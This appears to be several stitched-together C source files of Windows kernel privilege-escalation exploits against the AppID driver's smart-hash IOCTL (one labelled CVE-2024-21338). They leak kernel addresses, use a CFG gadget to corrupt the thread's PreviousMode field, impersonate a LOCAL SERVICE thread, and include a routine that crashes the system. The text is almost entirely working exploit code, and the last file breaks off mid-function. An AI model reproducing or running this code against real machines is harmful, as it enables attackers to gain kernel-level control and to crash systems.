    InitializeObjectAttributes(&objAttr, &deviceName, OBJ_CASE_INSENSITIVE, NULL, NULL, NULL);
    wprintf(L"[^] Trying to open a handle to %ws\n", deviceName.Buffer);
    status = NtCreateFile(&hDevice, GENERIC_READ | GENERIC_WRITE,
        &objAttr, &ioStatus, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, 0, NULL, 0);

    if (status != 0)
    {
        wprintf(L"[!] Failed to open a handle to %ws (NTSTATUS code: 0x%X)\n", deviceName.Buffer, status);
        return -1;
    }

    wprintf(L"[+] Opened a handle successfully %p\n", hDevice);
    wprintf(L"[*] Leaking the current ETHREAD address\n");
    UINT_PTR ETHREADAddress = GetETHREADAddress();
    UINT_PTR FILE_OBJECT_Address = GetFILE_OBJECT_Address();
    UINT_PTR ntoskrnlKernelBase = GetKernelModuleAddress("ntoskrnl.exe");
    HMODULE ntoskrnlUserBase = LoadLibraryExW(L"C:\\Windows\\System32\\ntoskrnl.exe", NULL, 0);

    if (!ETHREADAddress && !ntoskrnlKernelBase && !ntoskrnlUserBase && !FILE_OBJECT_Address)
    {
        wprintf(L"[!] Failed to leak the ETHREAD/KernelBase address\n");
        return -1;
    }

    wprintf(L"[+] Leaked ETHREAD address: 0x%p\n", ETHREADAddress);

    PrevMode = ETHREADAddress + offsetOfPreviousMode;

    UINT_PTR reloffset = FindPattern(ntoskrnlUserBase);

    UINT_PTR CFG_GADGET = ntoskrnlKernelBase + reloffset;

    wprintf(L"[+] Our Thread PreviousMode Kernel Address => %p\n", PrevMode);
    wprintf(L"[+] FILE_OBJECT Address => %p\n", FILE_OBJECT_Address);
    wprintf(L"[+] CFG Gadget Kernel Base Address => %p\n", ntoskrnlKernelBase);
    wprintf(L"[+] CFG Gadget User Base Address => %p\n", ntoskrnlUserBase);
    wprintf(L"[+] CFG Gadget Address => %p\n", CFG_GADGET);


    if (osInfo.dwBuildNumber < 22000) {
        USER_BUFFER_W10* bufferW10 = (USER_BUFFER_W10*)userBuffer;

        cfgFunction.FunctionPointer = CFG_GADGET;
        // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in ObfDereferenceObjectWithTag
        UINT_PTR prevModeObf = PrevMode + 0x30;

        bufferW10->FirstArg = prevModeObf; // +0x00
        bufferW10->Value = FILE_OBJECT_Address; // +0x08
        bufferW10->PtrToFunctionWrapper = (UINT_PTR)&cfgFunction; // +0x10

        bufferLength = sizeof(USER_BUFFER_W10);
    }
    else
    {
        USER_BUFFER_W11* bufferW11 = (USER_BUFFER_W11*)userBuffer;

        cfgFunction.FunctionPointer = CFG_GADGET;
        // Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in ObfDereferenceObjectWithTag
        UINT_PTR prevModeObf = PrevMode + 0x30;

        bufferW11->FirstArg = prevModeObf; // +0x00
        bufferW11->Value = FILE_OBJECT_Address; // +0x08
        bufferW11->PtrToFunctionWrapper = (UINT_PTR)&cfgFunction; // +0x10
        bufferW11->Unknown = NULL; // +0x18

        bufferLength = sizeof(USER_BUFFER_W11);
    }

    wprintf(L"[*] Sending the request to trigger the bug\n");
    char* buffer = (char*)malloc(sizeof(CHAR));
    if (userBuffer)
    {
        if (SendRequest(hDevice, userBuffer, bufferLength))
        {
            wprintf(L"[+] Sent the request successfully\n");
        }
        else
        {
            wprintf(L"[!] Failed to send the request\n");
            return -1;
        }
        wprintf(L"[+] Request Successful!\n");
        wprintf(L"[+] Checking PreviousMode...\n");
        NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)buffer, (PVOID)PrevMode, sizeof(CHAR), &dwBytesReturned);
        wprintf(L"[*] PreviousMode => %d\n", *buffer);
    }

    wprintf(L"[+] Exploit Done!\n");
    wprintf(L"[+] Starting cleanup...\n");
    Sleep(2000);
    *buffer = 1;
    NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)PrevMode, (PVOID)buffer, sizeof(CHAR), &dwBytesReturned);
    wprintf(L"[+] Cleanup Done!.\n[+] Press Enter To End!\n");
    getchar();

    free(userBuffer);
    free(buffer);
    NtClose(hDevice);

    return 0;
}


C:
#pragma once
#include <Windows.h>
#include <stdio.h>

int exploit();

// https://github.com/gtworek/PSBits/blob/e233709faa16a974d3af606c2dafe37ffe8f7aa9/Misc/TokenStealWithSyscalls.c
#define LUID_SE_ASSIGNPRIMARYTOKEN 3
#define LUID_SE_DEBUG 20
#define LUID_SE_IMPERSONATE 29
#define STATUS_NOT_ALL_ASSIGNED 262

#define CHECK_STATUS(Msg, Status) if (ERROR_SUCCESS != (Status)) {wprintf(L"LINE %d: %s%lu\r\n", __LINE__, (Msg), (Status));}

#define IOCTL_AipSmartHashImageFile 0x22A018

typedef struct _CFG_FUNCTION_WRAPPER
{
    PVOID FunctionPointer;
} CFG_FUNCTION_WRAPPER, * PCFG_FUNCTION_WRAPPER;

typedef struct _USER_BUFFER_W10
{
    UINT64 FirstArg;                             // 8 bytes - Reserved or used as needed
    PVOID Value;                                // 8 bytes - Should be 0 according to the requirement
    PCFG_FUNCTION_WRAPPER PtrToFunctionWrapper; // 8 bytes - Points to CFG_FUNCTION_WRAPPER
} USER_BUFFER_W10, * PUSER_BUFFER_W10;

typedef struct _USER_BUFFER_W11
{
    UINT64 FirstArg;                             // 8 bytes - Reserved or used as needed
    PVOID Value;                                // 8 bytes - Should be 0 according to the requirement
    PCFG_FUNCTION_WRAPPER PtrToFunctionWrapper; // 8 bytes - Points to CFG_FUNCTION_WRAPPER
    PVOID Unknown;                              // 8 bytes - Reserved or used as needed
} USER_BUFFER_W11, * PUSER_BUFFER_W11;

#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define FILE_OPEN 0x00000001
#define OFFSET_OF_TOKEN_PRIVILEGES 0x40

#define InitializeObjectAttributes( p, n, a, r, s, t ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );           \
    (p)->RootDirectory = r;                              \
    (p)->Attributes = a;                                 \
    (p)->ObjectName = n;                                 \
    (p)->SecurityDescriptor = s;                         \
    (p)->SecurityQualityOfService = t;                   \
    }

typedef enum _THREADINFOCLASS
{
    ThreadImpersonationToken = 5 //Rust docs say so
} THREADINFOCLASS;

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation = 0,
    SystemProcessorInformation = 1,
    SystemPerformanceInformation = 2,
    SystemTimeOfDayInformation = 3,
    SystemPathInformation = 4,
    SystemProcessInformation = 5,
    SystemCallCountInformation = 6,
    SystemDeviceInformation = 7,
    SystemProcessorPerformanceInformation = 8,
    SystemFlagsInformation = 9,
    SystemCallTimeInformation = 10,
    SystemModuleInformation = 11,
    SystemLocksInformation = 12,
    SystemStackTraceInformation = 13,
    SystemPagedPoolInformation = 14,
    SystemNonPagedPoolInformation = 15,
    SystemHandleInformation = 16,
    SystemObjectInformation = 17,
    SystemPageFileInformation = 18,
    SystemVdmInstemulInformation = 19,
    SystemVdmBopInformation = 20,
    SystemFileCacheInformation = 21,
    SystemPoolTagInformation = 22,
    SystemInterruptInformation = 23,
    SystemDpcBehaviorInformation = 24,
    SystemFullMemoryInformation = 25,
    SystemLoadGdiDriverInformation = 26,
    SystemUnloadGdiDriverInformation = 27,
    SystemTimeAdjustmentInformation = 28,
    SystemSummaryMemoryInformation = 29,
    SystemMirrorMemoryInformation = 30,
    SystemPerformanceTraceInformation = 31,
    SystemObsolete0 = 32,
    SystemExceptionInformation = 33,
    SystemCrashDumpStateInformation = 34,
    SystemKernelDebuggerInformation = 35,
    SystemContextSwitchInformation = 36,
    SystemRegistryQuotaInformation = 37,
    SystemExtendServiceTableInformation = 38,
    SystemPrioritySeperation = 39,
    SystemVerifierAddDriverInformation = 40,
    SystemVerifierRemoveDriverInformation = 41,
    SystemProcessorIdleInformation = 42,
    SystemLegacyDriverInformation = 43,
    SystemCurrentTimeZoneInformation = 44,
    SystemLookasideInformation = 45,
    SystemTimeSlipNotification = 46,
    SystemSessionCreate = 47,
    SystemSessionDetach = 48,
    SystemSessionInformation = 49,
    SystemRangeStartInformation = 50,
    SystemVerifierInformation = 51,
    SystemVerifierThunkExtend = 52,
    SystemSessionProcessInformation = 53,
    SystemLoadGdiDriverInSystemSpace = 54,
    SystemNumaProcessorMap = 55,
    SystemPrefetcherInformation = 56,
    SystemExtendedProcessInformation = 57,
    SystemRecommendedSharedDataAlignment = 58,
    SystemComPlusPackage = 59,
    SystemNumaAvailableMemory = 60,
    SystemProcessorPowerInformation = 61,
    SystemEmulationBasicInformation = 62,
    SystemEmulationProcessorInformation = 63,
    SystemExtendedHandleInformation = 64,
    SystemLostDelayedWriteInformation = 65,
    SystemBigPoolInformation = 66,
    SystemSessionPoolTagInformation = 67,
    SystemSessionMappedViewInformation = 68,
    SystemHotpatchInformation = 69,
    SystemObjectSecurityMode = 70,
    SystemWatchdogTimerHandler = 71,
    SystemWatchdogTimerInformation = 72,
    SystemLogicalProcessorInformation = 73,
    SystemWow64SharedInformationObsolete = 74,
    SystemRegisterFirmwareTableInformationHandler = 75,
    SystemFirmwareTableInformation = 76,
    SystemModuleInformationEx = 77,
    SystemVerifierTriageInformation = 78,
    SystemSuperfetchInformation = 79,
    SystemMemoryListInformation = 80,
    SystemFileCacheInformationEx = 81,
    SystemThreadPriorityClientIdInformation = 82,
    SystemProcessorIdleCycleTimeInformation = 83,
    SystemVerifierCancellationInformation = 84,
    SystemProcessorPowerInformationEx = 85,
    SystemRefTraceInformation = 86,
    SystemSpecialPoolInformation = 87,
    SystemProcessIdInformation = 88,
    SystemErrorPortInformation = 89,
    SystemBootEnvironmentInformation = 90,
    SystemHypervisorInformation = 91,
    SystemVerifierInformationEx = 92,
    SystemTimeZoneInformation = 93,
    SystemImageFileExecutionOptionsInformation = 94,
    SystemCoverageInformation = 95,
    SystemPrefetchPatchInformation = 96,
    SystemVerifierFaultsInformation = 97,
    SystemSystemPartitionInformation = 98,
    SystemSystemDiskInformation = 99,
    SystemProcessorPerformanceDistribution = 100,
    SystemNumaProximityNodeInformation = 101,
    SystemDynamicTimeZoneInformation = 102,
    SystemCodeIntegrityInformation = 103,
    SystemProcessorMicrocodeUpdateInformation = 104,
    SystemProcessorBrandString = 105,
    SystemVirtualAddressInformation = 106,
    SystemLogicalProcessorAndGroupInformation = 107,
    SystemProcessorCycleTimeInformation = 108,
    SystemStoreInformation = 109,
    SystemRegistryAppendString = 110,
    SystemAitSamplingValue = 111,
    SystemVhdBootInformation = 112,
    SystemCpuQuotaInformation = 113,
    SystemNativeBasicInformation = 114,
    SystemErrorPortTimeouts = 115,
    SystemLowPriorityIoInformation = 116,
    SystemBootEntropyInformation = 117,
    SystemVerifierCountersInformation = 118,
    SystemPagedPoolInformationEx = 119,
    SystemSystemPtesInformationEx = 120,
    SystemNodeDistanceInformation = 121,
    SystemAcpiAuditInformation = 122,
    SystemBasicPerformanceInformation = 123,
    SystemQueryPerformanceCounterInformation = 124,
    SystemSessionBigPoolInformation = 125,
    SystemBootGraphicsInformation = 126,
    SystemScrubPhysicalMemoryInformation = 127,
    SystemBadPageInformation = 128,
    SystemProcessorProfileControlArea = 129,
    SystemCombinePhysicalMemoryInformation = 130,
    SystemEntropyInterruptTimingInformation = 131,
    SystemConsoleInformation = 132,
    SystemPlatformBinaryInformation = 133,
    SystemPolicyInformation = 134,
    SystemHypervisorProcessorCountInformation = 135,
    SystemDeviceDataInformation = 136,
    SystemDeviceDataEnumerationInformation = 137,
    SystemMemoryTopologyInformation = 138,
    SystemMemoryChannelInformation = 139,
    SystemBootLogoInformation = 140,
    SystemProcessorPerformanceInformationEx = 141,
    SystemCriticalProcessErrorLogInformation = 142,
    SystemSecureBootPolicyInformation = 143,
    SystemPageFileInformationEx = 144,
    SystemSecureBootInformation = 145,
    SystemEntropyInterruptTimingRawInformation = 146,
    SystemPortableWorkspaceEfiLauncherInformation = 147,
    SystemFullProcessInformation = 148,
    SystemKernelDebuggerInformationEx = 149,
    SystemBootMetadataInformation = 150,
    SystemSoftRebootInformation = 151,
    SystemElamCertificateInformation = 152,
    SystemOfflineDumpConfigInformation = 153,
    SystemProcessorFeaturesInformation = 154,
    SystemRegistryReconciliationInformation = 155,
    SystemEdidInformation = 156,
    SystemManufacturingInformation = 157,
    SystemEnergyEstimationConfigInformation = 158,
    SystemHypervisorDetailInformation = 159,
    SystemProcessorCycleStatsInformation = 160,
    SystemVmGenerationCountInformation = 161,
    SystemTrustedPlatformModuleInformation = 162,
    SystemKernelDebuggerFlags = 163,
    SystemCodeIntegrityPolicyInformation = 164,
    SystemIsolatedUserModeInformation = 165,
    SystemHardwareSecurityTestInterfaceResultsInformation = 166,
    SystemSingleModuleInformation = 167,
    SystemAllowedCpuSetsInformation = 168,
    SystemVsmProtectionInformation = 169,
    SystemInterruptCpuSetsInformation = 170,
    SystemSecureBootPolicyFullInformation = 171,
    SystemCodeIntegrityPolicyFullInformation = 172,
    SystemAffinitizedInterruptProcessorInformation = 173,
    SystemRootSiloInformation = 174,
    SystemCpuSetInformation = 175,
    SystemCpuSetTagInformation = 176,
    SystemWin32WerStartCallout = 177,
    SystemSecureKernelProfileInformation = 178,
    SystemCodeIntegrityPlatformManifestInformation = 179,
    SystemInterruptSteeringInformation = 180,
    SystemSupportedProcessorArchitectures = 181,
    SystemMemoryUsageInformation = 182,
    SystemCodeIntegrityCertificateInformation = 183,
    SystemPhysicalMemoryInformation = 184,
    SystemControlFlowTransition = 185,
    SystemKernelDebuggingAllowed = 186,
    SystemActivityModerationExeState = 187,
    SystemActivityModerationUserSettings = 188,
    SystemCodeIntegrityPoliciesFullInformation = 189,
    SystemCodeIntegrityUnlockInformation = 190,
    SystemIntegrityQuotaInformation = 191,
    SystemFlushInformation = 192,
    SystemProcessorIdleMaskInformation = 193,
    SystemSecureDumpEncryptionInformation = 194,
    SystemWriteConstraintInformation = 195,
    SystemKernelVaShadowInformation = 196,
    SystemHypervisorSharedPageInformation = 197,
    SystemFirmwareBootPerformanceInformation = 198,
    SystemCodeIntegrityVerificationInformation = 199,
    SystemFirmwarePartitionInformation = 200,
    SystemSpeculationControlInformation = 201,
    SystemDmaGuardPolicyInformation = 202,
    SystemEnclaveLaunchControlInformation = 203,
    SystemWorkloadAllowedCpuSetsInformation = 204,
    SystemCodeIntegrityUnlockModeInformation = 205,
    SystemLeapSecondInformation = 206,
    SystemFlags2Information = 207,
    SystemSecurityModelInformation = 208,
    SystemCodeIntegritySyntheticCacheInformation = 209,
    SystemFeatureConfigurationInformation = 210,
    SystemFeatureConfigurationSectionInformation = 211,
    SystemFeatureUsageSubscriptionInformation = 212,
    SystemSecureSpeculationControlInformation = 213,
    SystemSpacesBootInformation = 214,
    SystemFwRamdiskInformation = 215,
    SystemWheaIpmiHardwareInformation = 216,
    SystemDifSetRuleClassInformation = 217,
    SystemDifClearRuleClassInformation = 218,
    SystemDifApplyPluginVerificationOnDriver = 219,
    SystemDifRemovePluginVerificationOnDriver = 220,
    SystemShadowStackInformation = 221,
    SystemBuildVersionInformation = 222,
    SystemPoolLimitInformation = 223,
    SystemCodeIntegrityAddDynamicStore = 224,
    SystemCodeIntegrityClearDynamicStores = 225,
    SystemDifPoolTrackingInformation = 226,
    SystemPoolZeroingInformation = 227,
    SystemDpcWatchdogInformation = 228,
    SystemDpcWatchdogInformation2 = 229,
    SystemSupportedProcessorArchitectures2 = 230,
    SystemSingleProcessorRelationshipInformation = 231,
    SystemXfgCheckFailureInformation = 232,
    SystemIommuStateInformation = 233,
    SystemHypervisorMinrootInformation = 234,
    SystemHypervisorBootPagesInformation = 235,
    SystemPointerAuthInformation = 236,
    SystemSecureKernelDebuggerInformation = 237,
    SystemOriginalImageFeatureInformation = 238,
    MaxSystemInfoClass = 239
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    unsigned short UniqueProcessId;
    unsigned short CreatorBackTraceIndex;
    unsigned char ObjectTypeIndex;
    unsigned char HandleAttributes;
    unsigned short HandleValue;
    void* Object;
    unsigned long GrantedAccess;
    long __PADDING__[1];
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
#ifdef _WIN64
    ULONG                Reserved3;
#endif
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 w018;
    WORD                 NameOffset;
    CHAR                 Name[255];
}SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef struct _UNICODE_STRING {
    USHORT         Length;
    USHORT         MaximumLength;
    PWSTR          Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES
{
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK
{
    union
    {
        NTSTATUS Status;
        PVOID Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef struct _CLIENT_ID
{
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef
VOID
(NTAPI* PIO_APC_ROUTINE) (
    IN PVOID ApcContext,
    IN PIO_STATUS_BLOCK IoStatusBlock,
    IN ULONG Reserved
    );

typedef NTSTATUS (NTAPI* pNtOpenProcessToken)(HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, PHANDLE TokenHandle);
typedef NTSTATUS (NTAPI* pNtAdjustPrivilegesToken)(HANDLE TokenHandle, BOOLEAN DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, ULONG BufferLength, PTOKEN_PRIVILEGES PreviousState, PULONG ReturnLength);
typedef NTSTATUS (NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
typedef NTSTATUS (NTAPI* pNtDuplicateToken)(HANDLE ExistingTokenHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, BOOLEAN EffectiveOnly, TOKEN_TYPE TokenType, PHANDLE NewTokenHandle);
typedef NTSTATUS (NTAPI* pNtSetInformationThread)(HANDLE ThreadHandle, THREADINFOCLASS ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength);
typedef NTSTATUS (NTAPI* pNtQueryInformationToken)(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, PVOID TokenInformation, ULONG TokenInformationLength, PULONG ReturnLength);
typedef NTSTATUS (NTAPI* pNtClose)(HANDLE Handle);

typedef NTSTATUS(NTAPI* pRtlGetVersion)(LPOSVERSIONINFOEXW lpVersionInformation);

typedef NTSTATUS(NTAPI* pNtDeviceIoControlFile)(
    _In_ HANDLE FileHandle,
    _In_opt_ HANDLE Event,
    _In_opt_ PIO_APC_ROUTINE ApcRoutine,
    _In_opt_ PVOID ApcContext,
    _Out_ PIO_STATUS_BLOCK IoStatusBlock,
    _In_ ULONG IoControlCode,
    _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer,
    _In_ ULONG InputBufferLength,
    _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer,
    _In_ ULONG OutputBufferLength
    );

typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    ULONG NumberOfBytesToWrite,
    PULONG NumberOfBytesWritten
    );

typedef NTSTATUS(NTAPI* pNtCreateFile)(
    _Out_ PHANDLE FileHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _In_ POBJECT_ATTRIBUTES ObjectAttributes,
    _Out_ PIO_STATUS_BLOCK IoStatusBlock,
    _In_opt_ PLARGE_INTEGER AllocationSize,
    _In_ ULONG FileAttributes,
    _In_ ULONG ShareAccess,
    _In_ ULONG CreateDisposition,
    _In_ ULONG CreateOptions,
    _In_reads_bytes_opt_(EaLength) PVOID EaBuffer,
    _In_ ULONG EaLength
    );

typedef NTSTATUS(NTAPI* pNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength
    );

typedef VOID(NTAPI* pRtlInitUnicodeString)(
    _Out_ PUNICODE_STRING DestinationString,
    _In_opt_z_ PCWSTR SourceString
    );

extern pNtAdjustPrivilegesToken NtAdjustPrivilegesToken;
extern pNtOpenProcessToken NtOpenProcessToken;
extern pNtWriteVirtualMemory NtWriteVirtualMemory;
extern pNtOpenProcess NtOpenProcess;
extern pNtDuplicateToken NtDuplicateToken;
extern pNtSetInformationThread NtSetInformationThread;
extern pNtQueryInformationToken NtQueryInformationToken;
extern pNtClose NtClose;
extern pNtDeviceIoControlFile NtDeviceIoControlFile;
extern pNtCreateFile NtCreateFile;
extern pNtQuerySystemInformation NtQuerySystemInformation;
extern pRtlInitUnicodeString RtlInitUnicodeString;
extern pRtlGetVersion RtlGetVersion;


C:
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <winternl.h>

#pragma comment(lib, "ntdll.lib")

EXTERN_C NTSYSAPI NTSTATUS NTAPI NtImpersonateThread(
    IN HANDLE               ThreadHandle,
    IN HANDLE               ThreadToImpersonate,
    IN PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService);

bool EnableDebugPrivilege()
{
    HANDLE hToken = nullptr;
    LUID luid;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) return FALSE;
    TOKEN_PRIVILEGES tokenPriv;
    tokenPriv.PrivilegeCount = 1;
    tokenPriv.Privileges[0].Luid = luid;
    tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return FALSE;
    return TRUE;
}

bool ImpersonateThread()
{
    bool result = false;
    HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
    if (h != INVALID_HANDLE_VALUE) {
        DWORD pid = 0;


        // Get parent of audiodg.exe - svchost.exe with NT AUTHORITY/LOCAL SERVICE
        PROCESSENTRY32 pe;
        pe.dwSize = sizeof(pe);
        if (Process32First(h, &pe)) {
            do {
                if (pe.szExeFile == std::wstring(L"audiodg.exe")) {
                    pid = pe.th32ParentProcessID;
                    break;
                }
            } while (Process32Next(h, &pe));
        }

        if (pid) {
            THREADENTRY32 te;
            te.dwSize = sizeof(te);
            if (Thread32First(h, &te)) {
                do {
                    if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
                        sizeof(te.th32OwnerProcessID)) {
                        if (pid == te.th32OwnerProcessID) {
                            HANDLE hThread = OpenThread(THREAD_DIRECT_IMPERSONATION, 0, te.th32ThreadID);
                            if (hThread) {
                                SECURITY_QUALITY_OF_SERVICE SecurityQos = { 0 };

                                SecurityQos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
                                SecurityQos.ImpersonationLevel = SecurityImpersonation;

                                NTSTATUS status = NtImpersonateThread(GetCurrentThread(), hThread, &SecurityQos);
                                result = status == 0;
                                printf("Process %d Thread %d, status: 0x%X\n",
                                    te.th32OwnerProcessID, te.th32ThreadID, status);
                                CloseHandle(hThread);
                            }
                            break;
                        }
                    }
                    te.dwSize = sizeof(te);
                } while (Thread32Next(h, &te));
            }
        }
        CloseHandle(h);
    }

    return result;
}

void MakeBSOD()
{
    HANDLE hDevice = CreateFileW(L"\\\\.\\AppID",
        0x40000000u,
        FILE_SHARE_READ |
        FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Device not found, GLE: %d\n", GetLastError());
        return;
    }
    uint8_t buffer[0x18] = { 0 };
    DWORD returned;

    BOOL bResult = DeviceIoControl(hDevice,
        0x22A018,
        buffer, sizeof(buffer),
        buffer, sizeof(buffer),
        &returned,
        (LPOVERLAPPED)NULL);

    printf("DeviceIoControl result: %s, GLE: %d\n", bResult ? "true" : "false", GetLastError());
    system("pause");

    CloseHandle(hDevice);
}

int main() {
    system("sc start appidsvc");
    if (!EnableDebugPrivilege()) {
        printf("EnableDebugPrivilege failed\n");
        return 1;
    }

    if (!ImpersonateThread()) {
        printf("ImpersonateThread failed\n");
        return 1;
    }

    MakeBSOD();
    return 0;
}

C:
/*
                PoC Info
-------------------------------------------
Vulnerability:    CVE-2024-21338
Environment:    Windows 11 22h2 Build 22621
-------------------------------------------
*/

#include <Windows.h>
#include <winsvc.h>
#include <stdio.h>
#include <processthreadsapi.h>
#include <TlHelp32.h>
#include <ntstatus.h>
#include <stdint.h>
#include <winternl.h>
#include <psapi.h>
#include <string.h>

#pragma comment(lib, "ntdllp.lib")

#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define IOCTL_SMART_HASH_IMAGE_FILE        0x22A018
#define EPROCESS_TOKEN_OFFSET            0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET    0x232
#define EPROCESS_SECURE_STATE_OFFSET    0x3E0

#define SystemHandleInformation            0x10
#define SystemHandleInformationSize        0x400000
#define offset_PopEtDataSectionCopyData 0x7ACEA8

enum _MODE
{
    KernelMode = 0,
    UserMode = 1
};

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

//
// Main exploit structures definition
//
typedef struct _VULN_CALLBACK_STRUCT
{
    PVOID vuln_callback_addr;
}VULN_CALLBACK_STRUCT;

typedef struct  _SMART_HASH_IMAGE_FILE
{
    int64_t field0;
    unsigned __int64 dummy_f_obj;    // should containt a valid FILE_OBJECT pointer to avoid BSOD
    VULN_CALLBACK_STRUCT *ptr;        // points to the struct which contain malicious callback function pointer
    void *prev_mode;                // KTHREAD->PreviousMode address
}SMART_HASH_IMAGE_FILE;

//
// SC Manager helper functions
//
SC_HANDLE GetSCM()
{
    SC_HANDLE svcManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (!svcManager)
    {
        printf("[-] OpenSCManagerW failes with error %lu\n", GetLastError());
        return FALSE;
    }

    else
    {
        printf("[+] OpenSCManagerW handle value opened!\n");
        return svcManager;
    }
}

void AppIDStart()
{
    printf("[!] Starting AppIDSvc\n");
    system("sc start AppIDSvc");
}

SC_HANDLE GetServiceHandleByName(LPCWSTR ServiceName)
{
    SC_HANDLE sh = 0;
    BOOL success = FALSE;
    SC_HANDLE scm = GetSCM();
    if (scm)
    {
        sh = OpenServiceW(scm, ServiceName, SERVICE_QUERY_STATUS);
        if (sh == NULL)
        {
            printf("[-] OpenServiceW failed with error %d\n", GetLastError());
            return 0;
        }

        else return sh;
    }

    return 0;
}

DWORD GetServiceProcessID(LPCWSTR ServiceName)
{
    SERVICE_STATUS_PROCESS ssp = { 0 };
    DWORD dwBytesNeeded = 0;
    SC_HANDLE ServiceHandle = 0;

    ServiceHandle = GetServiceHandleByName(ServiceName);

    if (!QueryServiceStatusEx(ServiceHandle, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(SERVICE_STATUS_PROCESS), &dwBytesNeeded))
    {
        printf("[-] QueryServiceStatusEx failed with error %d\n", GetLastError());
        CloseServiceHandle(ServiceHandle);
    }

    else
    {
        printf("[+] SERVICE_STATUS_PROCESS.dwProcessId = %d\n", ssp.dwProcessId);
        return ssp.dwProcessId;
    }

    return 0;
}

DWORD GetFirstThreadID(DWORD PID)
{
    THREADENTRY32 te32 = { 0 };
    HANDLE hThreadSnap;

    hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    te32.dwSize = sizeof(THREADENTRY32);
    Thread32First(hThreadSnap, &te32);

    do
    {
        if (te32.th32OwnerProcessID == PID)
        {
            printf("[+] GetFirstThreadID first TID = %d\n", te32.th32ThreadID);
            return te32.th32ThreadID;
        }
    } while (Thread32Next(hThreadSnap, &te32));

    return ERROR_FILE_NOT_FOUND;
}


BOOL SetPrivilege(
    HANDLE hToken,          // access token handle
    LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
    BOOL bEnablePrivilege   // to enable or disable privilege
    )
{
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if ( !LookupPrivilegeValue(
